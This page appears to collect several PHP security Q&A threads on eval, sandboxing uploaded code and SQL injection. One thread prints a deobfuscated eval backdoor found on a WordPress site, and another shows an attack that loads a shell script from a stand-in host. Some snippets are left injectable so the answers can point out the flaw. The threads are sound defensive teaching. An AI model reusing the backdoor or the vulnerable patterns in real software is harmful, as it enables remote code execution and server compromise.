Alright, so I've set up a small system where I can add pages through an administration panel and for them to appear on the main site. As well as html pages that are made in the admin panel I have also got about two PHP pages with queries that are stored in the database.
Anyways I am calling these by using 'Eval' which I've read that it is unsafe.
Although since its only html codes going in from the administration panel [php codes are disallowed and wont function if posted in these pages] and the PHP pages are unediable unless access to the database, is this safe?
One PHP page involves user comments but all HTML and PHP codes are stripped from the form. I've tested it involving a few exploiting techniques but none seemed to succeed.
But is using eval for my purpose safe? Is there a better work around?
Code:
<?php
if (isset($_GET['p']))
{
$stmt = $dbh->prepare('SELECT * FROM pages WHERE shortname = :p');
if (!$stmt->execute(array(':p' => $_GET['p'])))
{//
exit('Could not exec query with param: '.$_GET['p']);
}
while($row = $stmt->fetch(PDO::FETCH_ASSOC))
{
eval(" ?>".$row["content"]."<?php ");
echo '</div>';
}
}
//ends connection
$row->dbh = null;
?>
Sometimes writing secure code is more than being sure that it is safe. Maybe we all look at your code and think that it is safe, but oversee something small and obvious that will make a big security hole.
Better safe than sorry. You say [php codes are disallowed and wont function if posted in these pages] So why do you use eval then?
Back to your code. The parts that you have posted look safe to me (as for the eval part). But what if there is some small sql injection hole somewhere else in your application that lets the attacker change rows? The attacker will be able to put php code in your database and later execute it with your eval statement.
I would say: No, this code is not safe.
Also, do not echo user given content in your errors, this can lead to an xss vulnerability.
Related
I am using wordpress for a web site. I am using snippets (my own custom php code) to fetch data from a database and echo that data onto my web site.
if($_GET['commentID'] && is_numeric($_GET['commentID'])){
$comment_id=$_GET['commentID'];
$sql="SELECT comments FROM database WHERE commentID=$comment_id";
$result=$database->get_results($sql);
echo "<dl><dt>Comments:</dt>";
foreach($result as $item):
echo "<dd>".$item->comment."</dd>";
endforeach;
echo "</dl>";
}
This specific page reads an ID from the URL and shows all comments related to that ID. In most cases, these comments are texts. But some comments should be able to point to other pages on my web site.
For example, I would like to be able to input into the comment-field in the database:
This is a magnificent comment. You should also check out this other section for more information
where getURLtoSectionPage() is a function I have declared in my functions.php to provide the static URLs to each section of my home page in order to prevent broken links if I change my URL pattern in the future.
I do not want to do this by using eval(), and I have not been able to accomplish this by using output buffers either. I would be grateful for any hints as to how I can get this working as safely and cleanly as possible. I do not wish to execute any custom php code, only make function calls to my already existing functions which validates input parameters.
Update:
Thanks for your replies. I have been thinking of this problem a lot, and spent the evening experimenting, and I have come up with the following solution.
My SQL "shortcode":
This is a magnificent comment. You should also check out this other section for more information
My php snippet in wordpress:
ob_start();
// All my code that echo content to my page comes here
// Retrieve ID from url
// Echo all page contents
// Finished generating page contents
$entire_page=ob_get_clean();
replaceInternalLinks($entire_page);
PHP function in my functions.php in wordpress
if(!function_exists("replaceInternalLinks")){
function replaceInternalLinks($reference){
mb_ereg_search_init($reference,"\[custom_func:([^\]]*):([^\]]*)\]");
if(mb_ereg_search()){
$matches = mb_ereg_search_getregs(); //get first result
do{
if($matches[1]=="getURLtoSectionPage" && is_numeric($matches[2])){
$reference=str_replace($matches[0],getURLtoSectionPage($matches[2]),$reference);
}else{
echo "Help! An unvalid function has been inserted into my tables. Have I been hacked?";
}
$matches = mb_ereg_search_regs();//get next result
}while($matches);
}
echo $reference;
}
}
This way I can decide which functions it is possible to call via the shortcode format and can validate that only integer references can be used.
I am safe now?
Don't store the code in the database, store the ID, then process it when you need to. BTW, I'm assuming you really need it to be dynamic, and you can't just store the final URL.
So, I'd change your example comment-field text to something like:
This is a magnificent comment. You should also check out this other section for more information
Then, when you need to display that text, do something like a regular expression search-replace on 'href="#comment-([0-9]+)"', calling your getURLtoSectionPage() function at that point.
Does that make sense?
I do not want to do this by using eval(), and I have not been able to accomplish this by using output buffers either. I would be grateful for any hints as to how I can get this working as safely and cleanly as possible. I do not wish to execute any custom php code, only make function calls to my already existing functions which validates input parameters.
Eval is a terrible approach, as is allowing people to submit raw PHP at all. It's highly error-prone and the results of an error could be catastrophic (and that's without even considering the possibly that code designed by a malicious attacker gets submitted).
You need to use something custom. Possibly something inspired by BBCode.
I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.
Hope this question is not too unspecific, so...
My question is, when do I actually have to pay attention on how I handle vulnerable variables and when do I not. E.g. it's obviously insecure to use something like ...
echo $_POST['username']; // insecure !!!
in your template. $_GET and $_SERVER variables are said to be vulnerable as well. So I'll have to sanitize them before 'using' them. But what means to 'use' in this context. Insecure would be e.g. to output them e.g. with echo, to write them unfiltered into a DB or to put them in any other open context. On the other hand, comparing them with other variables like in ...
if ($_SESSION['username'] === $_POST['username']) {};
or embedding them into a variable like ...
$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer
and then checking ...
if (file_exists($file)) {};
..., in other words keeping them in a somehow closed context is secure, isn't it? (It seems to me, that the $file-example could be considered as borderline in terms of security, but used that way, I think it's ok?). Maybe someone knows also of cases in which the distinction between open and closed context is not as clear (as I hope they are in my examples) to put attention to them.
Thank you
It depends on what you're going to do with that file. The username field can pass something that would point you to a file not on that website like:
$_POST['username'] = '#not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];
Will resolve to http://not-the-site-you-want.com/bad_stuff.html and will still return true for file_exists($file);.
Lets try a "real world" example of why you don't want to just inject $_POST variables and then trust the results.
Lets say we're going to retrieve a user's picture from an online source (like this one: http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50) and store it locally:
$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See #SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
// Now we have the image stored on our local system
copy($image, 'assets/' . $username);
}
User provides the following information:
$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '#badwebsite.com/shell_script.txt';
You've now just uploaded a shell script to your website that will be accessible at http://www.mywebsite.com/assets/shell_script.php
Half of security is knowing the basics and putting in restrictions. The other half is figuring out how someone could get around the restrictions you've put in place. You're code could be immune to SQL injections and XSS, but it you pass a is_admin flag as a parameter in each page request and honour it, then someone is going to find it and abuse.
You should get in the habit of always assuming something malicious will be tried with code you write if it's exposed to the world at large. If you spend your time worrying about which inputs you need to sanitize and which ones you don't, you will make mistakes that leave your application vulnerable.
Sanitizing input doesn't take that much effort once you learn how, and if you get in the habit of doing so you will reduce the area of exposure that can be attacked. Application security isn't about "only fixing the important things", it's about building the entire application with security in mind.
Don't make the bad people's jobs easier.
I want to make a programming environment. I will explain it with an example.
One programmer will write that code;
<html>
<head>
<?php definedMetaTags(); ?>
</head>
</body>
Programmer will save this file and then upload to my system. That file will be executed at server side and then they system will turn generated code back.
That definedMetaTags() function will be already written in the system.
An example of Compiler.php:
<?php
require_once("definitionsForProgrammer.php");
include("uploadedfile.php");
?>
My question is that I want to allow that uploadedfile.php only what functions I want. Else, maybe that programmer writes some codes what I want him/her to do. (Deleting files, mysql connection, etc.)
Is there any way to allow a code only specific functions, variables, constans?
If the goal is to allow a user to insert placeholders that will be replaced by some PHP function execution, then there's no need to treat the uploaded file as PHP code:
<html>
<head>
{[definedMetaTags]}
</head>
</body>
Then Compiler.php would look like this:
<?php
require_once("definitionsForProgrammer.php");
$macros = array();
$macros['definedMetaTags'] = definedMetaTags();
$output = file_get_contents("uploadedfile.php");
foreach($macros as $macro=>$value) $output = str_replace("{[$macro]}", $value, $output);
echo $output;
?>
The definedMetaTags() function would need to be reworked so that it returns the tags as a string instead of printing them directly to output.
This method would allow you to define any number of macros without exposing yourself to all the security risks the others here have mentioned.
If you're aiming for security and you want to let them to write functions, then the short answer is: no.
Essentially you're asking for a PHP sandbox which will let you constrain what code can be executed. PHP would have to support this at a fundamental level for it to work. For example, supposing you took the approach of saying "I only allow the user to write a function named 'foo'". Inside that function, though the user can do all kinds of bad things like making system calls, downloading other code and executing it, etc. In order to prevent this you'd need to implement checks at a much lower level in the system.
If you're willing to restrict the scope only to variable definitions then yes you can do it. You can use token_get_all() and token_name() to examine the file to make sure that it doesn't have any code that you don't want in it. For example:
foreach (token_get_all(file_get_contents("uploadedfile.php")) as $token) {
if (is_array($token)) {
echo token_name($token[0]), " ";
} else {
echo $token;
}
}
If you don't like any tokens you see, don't include the file. You could theoretically guard against bad functions this way as well, but it'll require a fair amount of effort to properly parse the file and make sure that they're not doing something bad.
references:
http://www.php.net/manual/en/function.token-get-all.php
http://www.php.net/manual/en/function.token-name.php
http://www.php.net/manual/en/tokens.php
Well, if i'm understanding your question correctly. If you include("uploadedfile.php"); you will acquire everything in it.
What you could do is break your code up into related sections (whether it be via classes or just function definitions in a file) then only include the file/class that you want.
(let me know if that's not what your asking)
I started working with php and mysql today. Basically, what I have, is an empty page with pieces that I fill in from looking up an id in a database. So on my home page I have an url that looks like this:
<a href="content/display.php?id=id1">
And then in my display.php I have this:
<?php
include '../includes/header.php';
$id = $_GET['id'];
$mysqli = new mysqli('localhost','username','password','dbname');
if($result = $mysqli->query("SELECT * FROM portfolio WHERE id='".$id."'"))
{
while($row = $result->fetch_object())
{
$head = $row->head;
$img1 = $row->img1;
$img2 = $row->img2;
$img_url = $row->imgurl;
$img_thumb = $row->imgthumb;
$vid = $row->vid;
$swf = $row->swf;
$url = $row->url;
$url_text = $row->urltext;
$text = $row->text;
}
}
else echo $mysqli->error;
?>
It's a sparse table in that not all of those fields will have information (many might be null). Basically they contains file names and then in the html I have code that looks like this:
if(isset($img1))
{
echo '<img src="images/'.$img1.'" />';
}
A couple of questions,
Is this the best way to do this?
Everytime I visit display.php, I am reopening a database connection right? That can't be good...
I chose to put the names of the files in the database, rather than entire path names, or even the actual files themselves, figuring that, if I change the name of the file I can go into the database and update it for the file I want to change. If I change the path, I can just change it once in the html. Is that the best idea?
Thanks!
1) No, although that's the easiest way for beginning. After you feel comfortable with basics, you should spend some time considering different approaches to application structure. Most important rule is to separate concerns. Don't mix database code with business logic code with presentation code. But like I said, it's not something you should worry about on your first day. For now just learn basics.
2) There's no other way actually. For a web application each request from browser is like an individual run of application. There is a possibility to use so called persistent database connections, but just like in previous point, that's something you should not deal with on your first day, as they require specific configuration of your web server. For the time being just use normal connections.
3) That's pretty sensible idea. You could also define your image path as a PHP constant, so that in case a change is needed, you only change this one constant.
4) What sAc says in his answer is very important. Read about SQL injections and how to prevent them.
You are vulnerable to SQL injection, properly type cast your variables:
$id = (int) $_GET['id'];
Use functions such as mysql_real_escape_string or even better use:
Prepared Statements
SQL injection & prepared statements are already mentioned. An addition to that would be:
else echo $mysqli->error;
Change that to:
else trigger_error($mysqli->error,E_USER_ERROR);
Why you ask? Because visitors should have no idea about your database, and cannot fix the error, so they plain shouldn't see it. This way, you can safely develop with display_errors on, and on the live site display_errors is off, and you log_errors in an error log.
Looks like you have good handle on what you want to do. I don't know how much development background you have, but it would be a good idea to start learning about MVC's in php like CakePHP, Fuse, or even Zend Framework(bleh!!!). I'll save you time on more robust applications by pre defining all your basic db interface, template handling, session handling, and let you worry about higher level problems, like what's for lunch! :)